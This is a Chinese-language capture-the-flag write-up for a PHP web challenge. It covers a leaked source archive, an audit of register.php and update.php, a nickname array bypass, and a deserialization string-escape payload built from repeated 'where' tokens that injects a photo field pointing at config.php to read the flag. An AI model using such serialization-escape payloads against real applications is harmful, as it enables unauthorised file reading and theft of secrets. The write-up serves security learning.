打开题目发现登录框尝试弱口令万能密码等操作无果后进行目录扫描发现www.zip文件泄露
将压缩包下载下来进行代码审计
#register.php
<?php
// 引入用户类的定义
require_once('class.php');
// 检查表单是否提交并且包含用户名和密码
if($_POST['username'] && $_POST['password']) {
// 获取用户名和密码
$username = $_POST['username'];
$password = $_POST['password'];
// 验证用户名长度,必须在3到16个字符之间
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
// 验证密码长度,必须在3到16个字符之间
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
// 检查用户名是否已存在
if(!$user->is_exists($username)) {
// 如果用户名不存在,注册新用户
$user->register($username, $password);
// 输出注册成功信息并提供登录链接
echo 'Register OK!<a href="index.php">Please Login</a>';
} else {
// 如果用户名已存在,输出错误信息
die('User name Already Exists');
}
} else {
// 如果没有提交用户名和密码,可以在这里处理缺少输入的情况
// 例如,可以显示一个提示信息或者重定向用户
?>
<!-- 可以在这里添加HTML代码,提示用户输入用户名和密码 -->
<?php
}
?>
很显然这是一个注册页面访问这个页面进行注册
出现跳转点击跳转到index页面进行登录到update页面
源码
#update.php
<?php
// 引入用户类文件,用于处理用户相关的功能
require_once('class.php');
// 检查用户是否已经登录,如果没有登录,则终止操作并提示
if($_SESSION['username'] == null) {
die('Login First'); // 用户未登录,输出提示信息并终止脚本
}
// 检查是否提交了所需的表单字段,包括手机、电子邮件、昵称和照片
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
// 获取当前登录用户的用户名
$username = $_SESSION['username'];
// 验证手机号码格式,要求是11位数字
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone'); // 如果手机号码无效,输出错误信息并终止
// 验证电子邮件格式
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email'); // 如果电子邮件无效,输出错误信息并终止
// 验证昵称,要求不包含特殊字符且长度不超过10个字符
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname'); // 如果昵称无效,输出错误信息并终止
// 获取上传的文件信息
$file = $_FILES['photo'];
// 验证上传文件的大小限制:必须在5字节和1000000字节之间
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error'); // 如果照片大小不符合要求,输出错误信息并终止
// 将上传的文件移动到指定目录,并使用文件名的MD5哈希值作为文件名
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
// 构建用户资料数组,包括电话、电子邮件、昵称和照片路径
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
// 更新用户的个人资料,使用序列化的形式保存
$user->update_profile($username, serialize($profile));
// 输出更新成功的信息,并提供个人资料的链接
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
} else {
// 如果未提交所有必要的字段,可以在这里处理缺失输入的情况
?>
<!-- 可以在这里添加HTML代码,提示用户填写所有必要的信息 -->
<?php
}
?>
或者是去绕过nicename那个preg_match()方法,用数组报错就可以绕过这种判断,可以上传任意参数。然后还有一个地方是可控的是上传照片那个地方,所以这两个是最可能存在漏洞的地方。同时这里出现了序列化,考虑可能是反序列化题目。
利用逃逸原理,在nickname字段后面添自己构造的photo字段,最终在profile.php路由中完成文件的包含,读取config.php中的flag。
例如:
<?php
$profile = array('');
$profile['phone'] = 1;
$profile['email'] = 1;
$profile['nickname'] = '1';
$profile['config.php'] = 1;
echo(serialize($profile));
输出反序列化结果:
a:5:{i:0;s:0:"";s:5:"phone";i:1;s:5:"email";i:1;s:8:"nickname";s:1:"1";s:10:"config.php";i:1;}
将nickname以数组的形式传入实现绕过
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
payload中第一个s前面要加上}
提前闭合,是因为nickname以数组传入参数会多个}所以需要闭合看演示
<?php
$profile = array('');
$profile['phone'] = 1;
$profile['email'] = 1;
$profile['nickname'] = ['1'];
$profile['config.php'] = 1;
echo(serialize($profile));
a:5:{i:0;s:0:"";s:5:"phone";i:1;s:5:"email";i:1;s:8:"nickname";a:1:{i:0;s:1:"1";}s:10:"config.php";i:1;}
最终得到payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
重新放包访问得到flag
flag{4f3e01fb-1e0b-4960-8942-6385be61b099}